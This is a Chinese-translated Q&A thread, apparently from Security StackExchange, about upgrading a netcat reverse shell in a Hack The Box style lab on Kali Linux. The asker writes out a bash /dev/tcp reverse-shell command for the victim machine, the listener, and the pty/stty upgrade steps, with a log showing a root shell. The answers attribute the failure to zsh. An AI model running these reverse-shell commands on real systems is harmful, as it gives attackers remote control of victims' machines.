我成功地得到了一个反向外壳:
nc -lnvp 8000 # in Kali
/bin/bash -i >& /dev/tcp/192.168.6.1/8000 0>&1 # in the victim machine
我试着升级它,以标准的方式:
python -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo
fg
export TERM=xterm
但是,在运行stty raw -echo
并使用fg
将反向shell带回前台后,反向shell不能正常工作。当我按ENTER按钮试图运行一个命令时,它会打印^M
。因为ENTER按钮不能工作,所以我不能运行任何命令,也不能使用shell。
我知道这些命令是正确的,因为它曾经工作过,但是在升级到最新的Kali Linux之后,它就不再工作了。
当试图升级shell时,终端会话的全部输出:
┌──(user㉿kali)-[~/exercises/htb]
└─$ nc -lnvp 8000
listening on [any] 8000 ...
connect to [10.0.2.15] from (UNKNOWN) [172.17.0.2] 46138
root@9070f0e8043f:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@9070f0e8043f:/# python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
root@9070f0e8043f:/# ^Z
zsh: suspended nc -lnvp 8000
┌──(user㉿kali)-[~/exercises/htb]
└─$ stty raw -echo 148 ⨯ 1 ⚙
┌──(user㉿kali)-[~/exercises/htb]
└─$ fg
[1] + continued nc -lnvp 8000
export TERM=xterm^M^M
发布于 2021-06-12 13:54:45
它在Kali Linux中不能工作的原因是,最新的Kali默认使用<>zsh shell,而不是bash。要使它工作,您只需确保您正在使用。
若要暂时切换到bash,请在终端中运行以下命令:
exec bash --login
您可以通过运行以下命令来确认是否使用bash:
ps -p $
在使用bash的终端中,运行监听器并运行命令以升级shell:
python -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo
fg
export TERM=xterm
只要您使用bash而不是zsh,它就会起作用。
发布于 2022-05-06 01:13:30
因为zsh把它改成..。
python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo; fg
enter
export TERM=xterm-256color
没必要降级你的外壳。:)
https://security.stackexchange.com/questions/251326
复制相似问题